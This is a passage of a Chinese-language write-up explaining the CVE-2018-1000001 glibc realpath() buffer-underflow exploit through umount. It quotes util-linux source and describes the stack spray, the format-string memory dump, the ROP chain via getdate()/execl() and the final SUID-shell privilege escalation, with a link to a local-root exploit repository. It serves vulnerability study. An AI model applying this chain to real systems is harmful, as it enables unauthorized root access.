通过栈喷射在内存中放置大量的 "AANGUAGE=X.X" 环境变量,这些变量位于栈的上部,包含了大量的指针。当运行 umount 时,很可能会调用到 `realpath()` 并造成下溢。umount 调用 `realpath()` 的过程是这样的:
|
||||
```c
|
||||
/*
|
||||
* Check path -- non-root user should not be able to resolve path which is
|
||||
* unreadable for him.
|
||||
*/
|
||||
static char *sanitize_path(const char *path)
|
||||
{
|
||||
[...]
|
||||
p = canonicalize_path_restricted(path); // 该函数会调用 realpath(),并返回绝对地址
|
||||
[...]
|
||||
return p;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
[...]
|
||||
setlocale(LC_ALL, ""); // 设置 locale,LC_ALL 变量的值会覆盖掉 LANG 和所有 LC_* 变量的值
|
||||
[...]
|
||||
if (all) {
|
||||
[...]
|
||||
} else if (argc < 1) {
|
||||
[...]
|
||||
} else if (alltargets) {
|
||||
[...]
|
||||
} else if (recursive) {
|
||||
[...]
|
||||
} else {
|
||||
while (argc--) {
|
||||
char *path = *argv;
|
||||
|
||||
if (mnt_context_is_restricted(cxt)
|
||||
&& !mnt_tag_is_valid(path))
|
||||
path = sanitize_path(path); // 调用 sanitize_path 函数检查路径
|
||||
|
||||
rc += umount_one(cxt, path);
|
||||
|
||||
if (path != *argv)
|
||||
free(path);
|
||||
argv++;
|
||||
}
|
||||
}
|
||||
|
||||
mnt_free_context(cxt);
|
||||
return (rc < 256) ? rc : 255;
|
||||
}
|
||||
```
|
||||
```c
|
||||
#include <locale.h>
|
||||
|
||||
char *setlocale(int category, const char *locale);
|
||||
```
|
||||
```c
|
||||
// util-linux/lib/canonicalize.c
|
||||
char *canonicalize_path_restricted(const char *path)
|
||||
{
|
||||
[...]
|
||||
canonical = realpath(path, NULL);
|
||||
[...]
|
||||
return canonical;
|
||||
}
|
||||
```
|
||||
|
||||
因为所布置的环境变量是错误的(正确的应为 "LANGUAGE=X.X"),程序会打印出错误信息,此时第一阶段的 message catalogue 文件被加载,里面的格式化字符串将内存 dump 到 stderr,然后正如上面所讲的设置 `restricted` 字段,并将一个 `L` 写到喷射栈中,将其中一个环境变量修改为正确的 "LANGUAGE=X.X"。
|
||||
|
||||
由于语言发生了改变,umount 将尝试加载另一种语言的 catalogue。此时 umount 会有一个阻塞时间用于创建一个新的 message catalogue,漏洞利用得以同步进行,然后 umount 继续执行。
|
||||
|
||||
更新后的格式化字符串现在包含了当前程序的所有偏移。但是堆栈中却没有合适的指针用于写入,同时因为 fprintf 必须调用相同的格式化字符串,且每次调用需要覆盖不同的内存地址,这里采用一种简化的虚拟机的做法,每次 fprintf 的调用作为时钟,路径名的长度作为指令指针。格式化字符串重复处理的过程将返回地址从主函数转移到了 `getdate()` 和 `execl()` 两个函数中。这两个函数被用于 ROP。
|
||||
|
||||
被调用的程序文件中包含一个 shebang(即"#!"),使系统调用了漏洞利用程序作为它的解释器。然后该漏洞利用程序修改了它的所有者和权限,使其变成一个 SUID 程序。当 mount 最初的调用者发现文件的权限发生了变化,它会做一定的清理并调用 SUID 二进制文件的辅助功能,即一个 SUID shell,于是完成提权。
|
||||
|
||||
|
||||
## 参考资料
|
||||
- [LibcRealpathBufferUnderflow](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/)
|
||||
- https://github.com/5H311-1NJ3C706/local-root-exploits/tree/master/linux/CVE-2018-1000001
|
||||
- `man 3 getcwd`,`man 3 realpath`,`man mount_namespaces`
|
||||
- [util-linux/sys-utils/umount.c](https://github.com/karelzak/util-linux/blob/master/sys-utils/umount.c)
|
||||
|
Loading…
Reference in New Issue
Block a user